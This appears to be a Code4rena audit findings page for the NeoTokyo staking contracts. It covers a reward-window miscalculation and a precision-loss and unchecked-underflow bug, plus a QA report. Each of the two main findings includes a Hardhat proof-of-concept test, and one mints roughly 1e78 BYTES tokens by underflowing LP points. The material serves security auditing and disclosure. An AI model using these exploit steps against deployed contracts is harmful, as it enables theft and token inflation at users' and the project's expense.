Platform: Code4rena
Start Date: 08/03/2023
Pot Size: $60,500 USDC
Total HM: 2
Participants: 123
Period: 7 days
Judge: hansfriese
Id: 220
League: ETH
Rank: 3/123
Findings: 3
Award: $3,209.67
🌟 Selected for report: 0
🚀 Solo Findings: 0
2819.6915 USDC - $2,819.69
https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1312 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1319 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1376 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1378 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1433 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1434 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1435
Title: Incorrect calculation of rewards
Risk rating: High
The main impact is the incorrect issuance and calculation of the reward amount for the user in a greater or lesser way depending on the conditions. Affects stake S1, S2, LP.
Taking into account the names of the tests, answers to questions in discord, and documentation, we conclude: The reward must be distributed according to the following rules:
0 timestamp
until there is a new configurationreward
begins to work from the startTime
of the new window. Accordingly, the reward
amount of the window is valid from its startTime
to the startTime
of the next window after itBut in practice, this is not the case
The implementation of the reward calculation algorithm in the method staking/NeoTokyoStaker.sol#getPoolReward
and the use of staking/NeoTokyoStaker.sol#RewardWindow
is inaccurate with various errors, which leads to the fact that users receive an incorrect reward amount
Example: if User A stakes coins and expects an increase in emission (adding new reward windows) then the reward
parameter from the last reward window will be applied for the interval from the moment of the stake to the new user action. This will result in an increased or decreased number of rewards for past window/windows
starting from lastPoolRewardTime
for the user
An example of a case where the user receives 5.6x more reward than he must receive:
Let's take the following initial settings for simulation and search for a problem, consider a certain ideal case that is easy to understand: The fact that the user's single stake or daoTax - 0 is taken does not affect anything, but it makes it easier to explain the problem
Diagram with calculation and example flow
The administration deployed the contracts and set the initial reward window settings for S2:
startTime - 0
, reward - 10e18
, daoTax - 0
User A stake one S2 Citizen
. Time point: May 13 2025, 1747110911
During stake tx calling next method:
stakings/NeoTokyoStaker.sol 1226: IByteContract(BYTES).getReward(msg.sender);
As a result, since the user did not have stakes before this, no reward is given, and the moment of the last reward request is updated to the value 1747110911
stakings/NeoTokyoStaker.sol 1433: lastRewardTime[_recipient][AssetType.S1_CITIZEN] = block.timestamp; 1434: lastRewardTime[_recipient][AssetType.S2_CITIZEN] = block.timestamp; 1435: lastRewardTime[_recipient][AssetType.LP] = block.timestamp;
Use A just waiting
After a certain time, the Administration changes the reward amount (adds a new reward window)
. Reward windows settings: startTime - 1776227711, reward - 100e18, daoTax - 0
, window settings are now as follows
rewardWindows: [ { startTime: 0, reward: ethers.utils.parseEther("10"), }, { startTime: 1776227711, // Apr 15 2026 - 1776227711 reward: ethers.utils.parseEther("100"), }, ],
stakings/NeoTokyoStaker.sol 1409: claimReward(`User A`) -> 1423: (uint256 s2Reward, uint256 s2Tax) = getPoolReward( 1424: AssetType.S2_CITIZEN, 1425: _recipient 1426: ); -> 1264: -> getPoolReward 1309: uint256 totalReward; uint256 lastPoolRewardTime = lastRewardTime[_recipient][_assetType]; # equal May 13 2025, 1747110911 from step 2 uint256 windowCount = pool.rewardCount; # equal 2 for (uint256 i; i < windowCount; ) { # 0 < 2 RewardWindow memory window = pool.rewardWindows[i]; # for first iteration 1747110911 < 0 -> FALSE # for second iteration and more 1747110911 < 1776227711 -> FALSE if (lastPoolRewardTime < window.startTime) { /* ... */ # for first iteratoin 0 == 2 - 1 -> FALSE # for second iteration 1 == 2 - 1 -> TRUE } else if (i == windowCount - 1) { # the flow in the entire iteration of flow went only here. # the reward that should have been provided for the period of the first window was not calculated for the user unchecked { # timeSinceReward = 1778654302 - 1747110911 = 31,543,391 seconds from last `getReward` for user # which included the time of window 0 and window 1 uint256 timeSinceReward = block.timestamp - lastPoolRewardTime; # totalReward = 100 * 31,543,391 = 3,154,339,100 reward will provide for user # the reward parameter for the last window is multiplied by the time spent in window 0 + window 1, which is the ISSUE totalReward = window.reward * timeSinceReward; } # go out from for break; } unchecked { i++; } # first iteration end just gone to next } }
[1747110911 - May 13 2026] Bob reward count before stake: 0.0 [1778654302 - May 13 2026] Bob reward count: 533827090.0
Create a new file that includes a part of NeoTokyoStaker and its logic + a test to check the calculation is incorrect
"use strict"; // Imports. import { ethers } from "hardhat"; import { expect, should } from "chai"; import { CLASS_TO_ID, ASSETS, DEDUCE_IDENTITY_CREDIT_YIELDS, IDENTITY_CREDIT_POINTS, VAULT_MULTIPLIERS, VAULT_CREDIT_MULTIPLIER_IDS, TIMELOCK_OPTION_IDS, } from "./utils/constants"; import { prepareContracts } from "./utils/setup"; should(); /* Test the updated BYTES token and the staker for correct behavior. Describe the contract testing suite, retrieve testing wallets, and create contract factories from the artifacts we are testing. */ describe("Testing BYTES 2.0 & Neo Tokyo Staker", function () { // Track the current time and snapshot ID for reverting between tests. let currentTime, snapshotId; // Prepare several testing callers. let owner, alice, bob, nonCitizen, whale, treasury; // Neo Tokyo S1 contract instances. let beckLoot, NTItems, NTLandDeploy, vaultBox, NTCitizenDeploy, NTOldBytes; // Neo Tokyo S2 contract instances. let NTOuterCitizenDeploy, NTOuterIdentity, NTS2Items, NTS2LandDeploy; // Various mock testing contracts. let CitizenMint, VaultMint, IdentityMint, LPToken; // New Neo Tokyo BYTES 2.0 and staker contract instances. let NTBytes2_0, NTStaking; // Prepare the Neo Tokyo ecosystem before each test. before(async () => { const signers = await ethers.getSigners(); const addresses = await Promise.all( signers.map(async (signer) => signer.getAddress()) ); // Prepare testing callers. owner = { provider: signers[0].provider, signer: signers[0], address: addresses[0], }; alice = { provider: signers[1].provider, signer: signers[1], address: addresses[1], }; bob = { provider: signers[2].provider, signer: signers[2], address: addresses[2], }; nonCitizen = { provider: signers[3].provider, signer: signers[3], address: addresses[3], }; whale = { provider: signers[4].provider, signer: signers[4], address: addresses[4], }; treasury = { provider: signers[5].provider, signer: signers[5], address: addresses[5], }; // Prepare all of the Neo Tokyo S1, S2, and new contracts for testing. [ beckLoot, NTItems, NTLandDeploy, vaultBox, NTCitizenDeploy, NTOldBytes, VaultMint, IdentityMint, LPToken, CitizenMint, NTOuterCitizenDeploy, NTOuterIdentity, NTS2Items, NTS2LandDeploy, NTBytes2_0, NTStaking, ] = await prepareContracts(treasury.address); }); // Accelerate tests by taking snapshot of the current block before each test. beforeEach(async function () { currentTime = (await ethers.provider.getBlock()).timestamp; snapshotId = await network.provider.send("evm_snapshot"); }); // Revert to the snapshot block after each test. afterEach(async function () { await network.provider.send("evm_revert", [snapshotId]); }); // Prepare to test staker functionality. describe("with example configuration", function () { // The IDs of Bob's S2 Citizens. let s2One; // Mint tokens to the testing callers before each test. before(async () => { await NTLandDeploy.setBytesAddress(NTBytes2_0.address); await NTCitizenDeploy.setBytesAddress(NTBytes2_0.address); await NTOuterCitizenDeploy.setBytesAddress(NTBytes2_0.address); await NTS2Items.setBytesAddress(NTBytes2_0.address); await NTS2LandDeploy.setBytesAddress(NTBytes2_0.address); async function createS2Citizen(_citizenHolder) { let identityIdS2, itemCacheIdS2, landDeedIdS2; identityIdS2 = (await NTOuterIdentity.totalSupply()).add( ethers.BigNumber.from("1") ); /* Use administrative powers to claim a new S2 Identity for the desired `_citizenHolder`. */ await NTOuterIdentity.connect(owner.signer).ownerClaim(identityIdS2); await NTOuterIdentity.connect(owner.signer).transferFrom( owner.address, _citizenHolder.address, identityIdS2 ); // Claim a new S2 Item for the desired holder. itemCacheIdS2 = (await NTS2Items.totalSupply()).add( ethers.BigNumber.from("1") ); await NTS2Items.connect(owner.signer).emergencyClaim( identityIdS2, itemCacheIdS2 ); await NTS2Items.connect(owner.signer).transferFrom( owner.address, _citizenHolder.address, itemCacheIdS2 ); // Claim a new S2 Land Deed for the desired holder. landDeedIdS2 = (await NTS2LandDeploy.totalSupply()).add( ethers.BigNumber.from("1") ); await NTS2LandDeploy.connect(owner.signer).emergencyClaim( identityIdS2, landDeedIdS2 ); await NTS2LandDeploy.connect(owner.signer).transferFrom( owner.address, _citizenHolder.address, landDeedIdS2 ); // Approve the transfer of the holder's components. await NTOuterIdentity.connect(_citizenHolder.signer).approve( NTOuterCitizenDeploy.address, identityIdS2 ); await NTS2Items.connect(_citizenHolder.signer).approve( NTOuterCitizenDeploy.address, itemCacheIdS2 ); await NTS2LandDeploy.connect(_citizenHolder.signer).approve( NTOuterCitizenDeploy.address, landDeedIdS2 ); // Assemble the holder's S2 Citizen. await NTOuterCitizenDeploy.connect(_citizenHolder.signer).createCitizen( identityIdS2, itemCacheIdS2, landDeedIdS2, false, "" ); // Return the ID of the new S2 Citizen. return NTOuterCitizenDeploy.totalSupply(); } // Create two S2 Citizens for Bob. s2One = await createS2Citizen(bob); // Have Bob approve the staker to transfer his S2 Citizens. await NTOuterCitizenDeploy.connect(bob.signer).approve( NTStaking.address, s2One ); await NTStaking.connect(owner.signer).configureTimelockOptions( ASSETS.S2_CITIZEN.id, [...Array(ASSETS.S2_CITIZEN.timelockOptions.length).keys()], ASSETS.S2_CITIZEN.timelockOptions ); // Configure each of the stakeable assets with daily reward rates. await NTStaking.connect(owner.signer).configurePools([ { assetType: ASSETS.S2_CITIZEN.id, daoTax: 0, rewardWindows: [ { startTime: 0, reward: ethers.utils.parseEther("10"), }, ], }, ]); }); it("ISSUE TEST", async function () { // General timePoint's // Window 0 startTime = 0 // Window 1 startTime = 1776227711 = Apr 15 2026 // Bob last stake time = 1747110911 = May 13 2025 // Bob get reward time = 1778654302 = May 13 2026 ethers.provider.send("evm_setNextBlockTimestamp", [1747110911]); ethers.provider.send("evm_mine"); // Stake Bob's S2 Citizens let rewards = await NTStaking.getPoolReward(ASSETS.S2_CITIZEN.id, bob.address) console.log(`[1747110911 - May 13 2026] Bob reward count before stake: ${ethers.utils.formatEther(rewards[0])}`) await NTStaking.connect(bob.signer).stake( ASSETS.S2_CITIZEN.id, TIMELOCK_OPTION_IDS["30"], s2One, 0, 0 ); await NTStaking.connect(owner.signer).configurePools([ { assetType: ASSETS.S2_CITIZEN.id, daoTax: 0, rewardWindows: [ { startTime: 0, reward: ethers.utils.parseEther("10"), }, { startTime: 1776227711, reward: ethers.utils.parseEther("100"), }, ], }, ]); ethers.provider.send("evm_setNextBlockTimestamp", [1778654302]); ethers.provider.send("evm_mine"); rewards = await NTStaking.getPoolReward(ASSETS.S2_CITIZEN.id, bob.address) console.log(`[1778654302 - May 13 2026] Bob reward count: ${ethers.utils.formatEther(rewards[0])}`) }); }); });
#0 - c4-judge
2023-03-16T06:39:36Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2023-03-16T06:39:48Z
hansfriese marked the issue as duplicate of #423
🌟 Selected for report: rokso
Also found by: 0x52, 0xnev, ABA, BPZ, DadeKuma, Haipls, J4de, Jeiwan, Josiah, Krace, LegendFenGuin, Lirios, MadWookie, RaymondFam, Ruhum, Toshii, UdarTeam, aashar, ak1, anodaram, auditor0517, carlitox477, cccz, jekapi, juancito, kaden, kenzo, minhquanym, nobody2018, rbserver, rokso, ulqiorra
154.74 USDC - $154.74
https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/BYTES2.sol#L114 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/BYTES2.sol#L124 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L200 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L203 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1098 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1155 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1161 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1623 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1627 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1388 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1389
Mint ~ 1e78 project coins, Withdrawal of all liquidity from LP etc
Next, the main problems will be proved. There are not enough characters to prove the all parts of impact
The root cause of the problem is the use of insufficient precision for the calculation of points
and the presence of unchecked
section
staking/NeoTokyoStaker.sol 200: uint256 constant private _DIVISOR = 100; 203: uint256 constant private _BYTES_PER_POINT = 200 * 1e18;
In the following places, it turns into various issues:
staking/NeoTokyoStaker.sol // _stakeBytes 1077: uint256 bonusPoints = (amount * 100 / _BYTES_PER_POINT); 1098: uint256 bonusPoints = (amount * 100 / _BYTES_PER_POINT); // _stakeLP 1155: uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
Namely, it is possible to achieve a discrepancy between amount
and points
The result is Critical Issues for the Project
level that go beyond NeoTokyoStaker.sol
Mint slightly less than MAX_UINT256 project coins, Withdrawal of all liquidity from LP etc
This is the worst case since the user will get a HUGE number of tokens ~ 1e78
timelockMultiplier = 100
- get from tests
taxDao = 300
- get from tests
0.009
LP tokensstaking/NeoTokyoStaker.sol # 0.009e18 * 100 / 1e18 * 100/100 = 0.9e18/1e18 * 1 = 0 1155: uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; # increase user lp position on 0.009e18 1160: stakerLPPosition[msg.sender].amount += amount; # increase user points on 0 1161: stakerLPPosition[msg.sender].points += points;
State after stake:
stakerLPPosition[msg.sender].amount = 0.009e18 stakerLPPosition[msg.sender].points = 0
0,009
LP tokensstakerLPPosition[msg.sender].amount = 0.018e18 stakerLPPosition[msg.sender].points = 0
0,018
LP tokensstaking/NeoTokyoStaker.sol 1622: unchecked { # points = 0,018e18 * 100 / 1e18 * 100/100 = 1,8e18/1e18 * 1 = 1 1623: uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; # 0,018e18 - 0,018e18 = 0 1626 lpPosition.amount -= amount; # 0 - 1 = MAX_UINT256 - 1 // UNDERFLOW 1627: lpPosition.points -= points;
115792089237316195423570985008687907853269984665640564039457584007913129639935
pointsgetReward
in next blockstaking/BYTES2.sol 114: -> getReward(`User A`) 120: -> IStaker(STAKER).claimReward(_to); staking/NeoTokyoStaker.sol 1409: -> claimReward(`User A`) 1427: -> getPoolReward(AssetType.LP, `User A`) 1298: points += stakerLPPosition[_recipient].points; /* ... */ calculate `totalReward` 1387: unchecked { uint256 share = points * _PRECISION / pool.totalPoints * totalReward; // also overflow because we have 1e78 points uint256 daoShare = share * pool.daoTax / (100 * _DIVISOR); // also overflow share /= _PRECISION; daoShare /= _PRECISION; return ((share - daoShare), daoShare); } 1427: (uint256 lpReward, uint256 lpTax) = ... // <- return `1e78` share and `1e78` daoShare. does not succeed in accuracy as it is not particularly important 1453: return (totalReward, totalTax); // <- return `1e78` share and `1e78` to BYTES2 getReward method staking/BYTES2.sol ( uint256 reward, uint256 daoCommision ) = IStaker(STAKER).claimReward(_to); // return `1e78` share and `1e78` // Mint both reward BYTES and the DAO tax to targeted recipients. if (reward > 0) { _mint(_to, reward); // mint for user 1e78 tokens } if (daoCommision > 0) { _mint(TREASURY, daoCommision); // mint for dao 1e78 tokens }
getReward
In case the user wants to boost his S1 or S2 citizen and will stake an amount less than 1.[9] BYTES at a time he will not receive any points
S1 Citizen
stake
with AssetType.BYTES
and want stake bytes in the period [1; 2e18 - 1] he will have 0 bonus points
As a result, we get the following:At the time of calculation, we get bonusPoints
= 0
staking/NeoTokyoStaker.sol 1077: uint256 bonusPoints = (amount * 100 / _BYTES_PER_POINT);
Example with stake amount equal = 1.99e18
= 1.99 BYTES
bonusPoints
= 1.99e18 * 100 / (200 * 1e18)
-> 199e18/200e18
-> 0
The user can repeat this procedure as many times as he wants, but in practice he will not receive any points
This also applies to stake LP for amount
= [0, 1e16)
staking/NeoTokyoStaker.sol 1157 uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
Example, timelockMultiplier
= 100
- from test
points
= 0.99e16 * 100 / 1e18 * 100 / 100 -> 0.99e18/1e18 * 100/100 = 0
This is independent of timelockMultiplier
. We see that when the user stakes less then 0.01 LP, he does not receive any points
stakedBytes
onstaking/NeoTokyoStaker.sol 1078: citizenStatus.stakedBytes += amount;
There will be a moment when the calculation at the withdrawal will not return 0
, when the user will have 0 in points, which will cause an underfill and get all the rewards in one hand
staking/NeoTokyoStaker.sol 1622: unchecked { 1623: uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; 1627: lpPosition.points -= points; 1631:}
The user can do the reverse action to the previous points, in which case he will take tokens without reducing his points amount
Example
staking/NeoTokyoStaker.sol 1154: unchecked { # points = 1e18*100 / 1e18 * 100/ 100 = 1e20/1e18 * 1 = 100 1155: uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; 1156: 1158: stakerLPPosition[msg.sender].timelockEndTime = 1159: block.timestamp + timelockDuration; # update user balance to 1e18 LP tokens 1160: stakerLPPosition[msg.sender].amount += amount; # update user points to 100 points 1161: stakerLPPosition[msg.sender].points += points; 1165: }
staking/NeoTokyoStaker.sol 1622: unchecked { # points = 0.009[9]e18*100 / 1e18 * 100/100 = 0.9[9]e18/1e18 * 1 = 0 1623: uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; # amount of user decreae on 0.009[9] tokens 1626: lpPosition.amount -= amount; # points of user not decrease 1627: lpPosition.points -= points; # total points also not decrease 1630: pool.totalPoints -= points; 1631: }
This is the test itself - TEST MINT 1e78 bytes token by underflow all the rest are taken from the main test
"use strict"; // Imports. import { ethers } from "hardhat"; import { expect, should } from "chai"; import { CLASS_TO_ID, ASSETS, DEDUCE_IDENTITY_CREDIT_YIELDS, IDENTITY_CREDIT_POINTS, VAULT_MULTIPLIERS, VAULT_CREDIT_MULTIPLIER_IDS, TIMELOCK_OPTION_IDS, } from "./utils/constants"; import { prepareContracts } from "./utils/setup"; should(); /* Test the updated BYTES token and the staker for correct behavior. Describe the contract testing suite, retrieve testing wallets, and create contract factories from the artifacts we are testing. */ describe("Testing BYTES 2.0 & Neo Tokyo Staker", function () { // Track the current time and snapshot ID for reverting between tests. let currentTime, snapshotId; // Prepare several testing callers. let owner, alice, bob, nonCitizen, whale, treasury; // Neo Tokyo S1 contract instances. let beckLoot, NTItems, NTLandDeploy, vaultBox, NTCitizenDeploy, NTOldBytes; // Neo Tokyo S2 contract instances. let NTOuterCitizenDeploy, NTOuterIdentity, NTS2Items, NTS2LandDeploy; // Various mock testing contracts. let CitizenMint, VaultMint, IdentityMint, LPToken; // New Neo Tokyo BYTES 2.0 and staker contract instances. let NTBytes2_0, NTStaking; // Prepare the Neo Tokyo ecosystem before each test. before(async () => { const signers = await ethers.getSigners(); const addresses = await Promise.all( signers.map(async (signer) => signer.getAddress()) ); // Prepare testing callers. owner = { provider: signers[0].provider, signer: signers[0], address: addresses[0], }; alice = { provider: signers[1].provider, signer: signers[1], address: addresses[1], }; bob = { provider: signers[2].provider, signer: signers[2], address: addresses[2], }; nonCitizen = { provider: signers[3].provider, signer: signers[3], address: addresses[3], }; whale = { provider: signers[4].provider, signer: signers[4], address: addresses[4], }; treasury = { provider: signers[5].provider, signer: signers[5], address: addresses[5], }; // Prepare all of the Neo Tokyo S1, S2, and new contracts for testing. [ beckLoot, NTItems, NTLandDeploy, vaultBox, NTCitizenDeploy, NTOldBytes, VaultMint, IdentityMint, LPToken, CitizenMint, NTOuterCitizenDeploy, NTOuterIdentity, NTS2Items, NTS2LandDeploy, NTBytes2_0, NTStaking, ] = await prepareContracts(treasury.address); }); // Accelerate tests by taking snapshot of the current block before each test. beforeEach(async function () { currentTime = (await ethers.provider.getBlock()).timestamp; snapshotId = await network.provider.send("evm_snapshot"); }); // Revert to the snapshot block after each test. afterEach(async function () { await network.provider.send("evm_revert", [snapshotId]); }); // Prepare to test staker functionality. describe("with example configuration", function () { // The IDs of Bob's S2 Citizens. let s2One; // Mint tokens to the testing callers before each test. before(async () => { await NTLandDeploy.setBytesAddress(NTBytes2_0.address); await NTCitizenDeploy.setBytesAddress(NTBytes2_0.address); await NTOuterCitizenDeploy.setBytesAddress(NTBytes2_0.address); await NTS2Items.setBytesAddress(NTBytes2_0.address); await NTS2LandDeploy.setBytesAddress(NTBytes2_0.address); async function createS2Citizen(_citizenHolder) { let identityIdS2, itemCacheIdS2, landDeedIdS2; identityIdS2 = (await NTOuterIdentity.totalSupply()).add( ethers.BigNumber.from("1") ); /* Use administrative powers to claim a new S2 Identity for the desired `_citizenHolder`. */ await NTOuterIdentity.connect(owner.signer).ownerClaim(identityIdS2); await NTOuterIdentity.connect(owner.signer).transferFrom( owner.address, _citizenHolder.address, identityIdS2 ); // Claim a new S2 Item for the desired holder. itemCacheIdS2 = (await NTS2Items.totalSupply()).add( ethers.BigNumber.from("1") ); await NTS2Items.connect(owner.signer).emergencyClaim( identityIdS2, itemCacheIdS2 ); await NTS2Items.connect(owner.signer).transferFrom( owner.address, _citizenHolder.address, itemCacheIdS2 ); // Claim a new S2 Land Deed for the desired holder. landDeedIdS2 = (await NTS2LandDeploy.totalSupply()).add( ethers.BigNumber.from("1") ); await NTS2LandDeploy.connect(owner.signer).emergencyClaim( identityIdS2, landDeedIdS2 ); await NTS2LandDeploy.connect(owner.signer).transferFrom( owner.address, _citizenHolder.address, landDeedIdS2 ); // Approve the transfer of the holder's components. await NTOuterIdentity.connect(_citizenHolder.signer).approve( NTOuterCitizenDeploy.address, identityIdS2 ); await NTS2Items.connect(_citizenHolder.signer).approve( NTOuterCitizenDeploy.address, itemCacheIdS2 ); await NTS2LandDeploy.connect(_citizenHolder.signer).approve( NTOuterCitizenDeploy.address, landDeedIdS2 ); // Assemble the holder's S2 Citizen. await NTOuterCitizenDeploy.connect(_citizenHolder.signer).createCitizen( identityIdS2, itemCacheIdS2, landDeedIdS2, false, "" ); // Return the ID of the new S2 Citizen. return NTOuterCitizenDeploy.totalSupply(); } // Create two S2 Citizens for Bob. s2One = await createS2Citizen(bob); // Have Bob approve the staker to transfer his S2 Citizens. await NTOuterCitizenDeploy.connect(bob.signer).approve( NTStaking.address, s2One ); await NTStaking.connect(owner.signer).configureTimelockOptions( ASSETS.LP.id, [...Array(ASSETS.LP.timelockOptions.length).keys()], ASSETS.LP.timelockOptions ); // Mint testing LP tokens to users and approve transfer to the staker. await LPToken.mint(alice.address, ethers.utils.parseEther("1000")); await LPToken.mint(bob.address, ethers.utils.parseEther("1000")); await LPToken.connect(alice.signer).approve( NTStaking.address, ethers.constants.MaxUint256 ); await LPToken.connect(bob.signer).approve( NTStaking.address, ethers.constants.MaxUint256 ); // Configure each of the stakeable assets with daily reward rates. await NTStaking.connect(owner.signer).configurePools([ { assetType: ASSETS.LP.id, daoTax: 300, rewardWindows: [ { startTime: 0, reward: ethers.utils.parseEther("10"), }, ], }, ]); }); it("TEST MINT 1e78 bytes token by underflow", async function () { // Just add for provide like another users stakes before... await NTStaking.connect(owner.signer).configureLP(LPToken.address); await NTStaking.connect(bob.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("1000"), 0, 0 ); // ISSUE let priorBlockNumber = await ethers.provider.getBlockNumber(); let priorBlock = await ethers.provider.getBlock(priorBlockNumber); let aliceStakeTime = priorBlock.timestamp; let aliceBalanceBeforeStake = await LPToken.balanceOf(alice.address); console.log("aliceBalance LP BeforeStake:", ethers.utils.formatEther(aliceBalanceBeforeStake)) await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("0.009"), 0, 0 ); await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("0.009"), 0, 0 ); // Jump to 31 days after Alice's stake. await ethers.provider.send("evm_setNextBlockTimestamp", [ aliceStakeTime + 60 * 60 * 24 * 31, ]); ethers.provider.send("evm_mine"); let aliceBalanceBeforeWithdraw = await LPToken.balanceOf(alice.address); console.log("aliceBalance LP BeforeWithdraw:", ethers.utils.formatEther(aliceBalanceBeforeWithdraw)) await NTStaking.connect(alice.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther("0.018") ); let aliceBalanceBeforeGetReward = await NTBytes2_0.balanceOf(alice.address); console.log("aliceBalance BYTES 2 BeforeGetReward:", ethers.utils.formatEther(aliceBalanceBeforeGetReward)) await NTBytes2_0.connect(alice.signer).getReward(alice.address); let aliceBalanceAfter= await NTBytes2_0.balanceOf(alice.address); console.log("Final alice BYTES 2 Balance:", ethers.utils.formatEther(aliceBalanceAfter)) }); }); });
Result:
aliceBalance LP BeforeStake: 1000.0 aliceBalance LP BeforeWithdraw: 999.982 aliceBalance BYTES 2 BeforeGetReward: 0.0 Final alice BYTES 2 Balance: 11579321243181374236613601929758538110070863577.100190436624386452
stakeBytes
and stakeLP
unchecked
to prevent underflow#0 - c4-judge
2023-03-16T05:52:49Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2023-03-16T05:53:03Z
hansfriese marked the issue as duplicate of #450
#2 - c4-judge
2023-03-17T01:09:08Z
hansfriese marked the issue as duplicate of #261
🌟 Selected for report: 0xSmartContract
Also found by: 0x1f8b, 0x6980, 0xAgro, 0xSolus, 0xhacksmithh, 0xkazim, ABA, BPZ, BowTiedOriole, ChainReview, DadeKuma, DeFiHackLabs, Deathstore, DevABDee, Diana, Dravee, Dug, Englave, Go-Langer, Haipls, IceBear, Inspex, Jeiwan, Kek, Kresh, Madalad, MatricksDeCoder, MyFDsYours, RaymondFam, Rolezn, SAAJ, Sathish9098, Taloner, Udsen, Viktor_Cortess, atharvasama, ayden, brgltd, btk, carlitox477, catellatech, chaduke, codeislight, deadrxsezzz, descharre, erictee, fatherOfBlocks, favelanky, glcanvas, handsomegiraffe, jasonxiale, jekapi, joestakey, lemonr, luxartvinsec, martin, matrix_0wl, minhquanym, mrpathfindr, nadin, oyc_109, parsely, peanuts, pfedprog, rbserver, rokso, saian, santipu_, scokaf, slvDev, tsvetanovv, ubl4nk, ulqiorra, yamapyblack, zaskoh
235.2398 USDC - $235.24
There is a check for sufficient user balance twice
The BYTES1 contract in the burn method has a require
for this
contracts/staking/BYTES2.sol 96: if (IERC20(BYTES1).balanceOf(msg.sender) < _amount) { 97: revert DoNotHaveEnoughOldBytes(_amount); 98: } 101: IByteContract(BYTES1).burn(msg.sender, _amount);
contracts/staking/BYTES2.sol 46: address immutable public S1_CITIZEN;
the variable is initialized but not used anywhere
contracts/staking/BYTES2.sol 34: contract BYTES2 is PermitControl, ERC20("BYTES", "BYTES") contracts/staking/NeoTokyoStaker.sol 188: contract NeoTokyoStaker is PermitControl, ReentrancyGuard {
Contract BYTES2
must follow the interface IByteContract
.
Contract NeoTokyoStaker
must follow the interface IStaker
.
To avoid possible non-compliance with the interface contract. And adding a compile-time check for compliance Example:
contract NeoTokyoStaker is IStaker, PermitControl, ReentrancyGuard
contract BYTES2 is IBytesContract, PermitControl, ERC20("BYTES", "BYTES")
Violation of standard practices for throwing events at important events. That makes it difficult to catch important actions
contracts/staking/BYTES2.sol 162: function changeStakingContractAddress 173: function changeTreasuryContractAddress contracts/staking/NeoTokyoStaker.sol 1708: function configureLP 1721: function lockLP 1737: function configureTimelockOptions 1760: function configureIdentityCreditYields 1783: function configureIdentityCreditPoints 1802: function configureVaultCreditMultipliers 1819: function configurePools 1851: function configureCaps
Example: User would like to track the moment of the configuration to be the first to stake and get an increased reward for the first blocks, etc.
User would like to know the moment when the administration will change something in order to quickly react to it
getReward
for another userA method call by user A for user B may cause user B can to miss out on some benefit (using the windows issue for earning extra rewards as an example)
contracts/staking/BYTES2.sol 114: function getReward ( 115: address _to 116: ) external {
contracts/staking/NeoTokyoStaker.sol 824: function _stringEquals ( string memory _a, string memory _b ) private pure returns (bool) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); // Check equivalence of the two strings by comparing their contents. bool equal = true; assembly { let length := mload(a) switch eq(length, mload(b)) // Proceed to compare string contents if lengths are equal. case 1 { let cb := 1 // Iterate through the strings and compare contents. let mc := add(a, 0x20) let end := add(mc, length) for { let cc := add(b, 0x20) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { // If any of these checks fails then arrays are not equal. if iszero(eq(mload(mc), mload(cc))) { equal := 0 cb := 0 } } } // By default the array length is not equal so the strings are not equal. default { equal := 0 } } return equal; }
Can be replaced by:
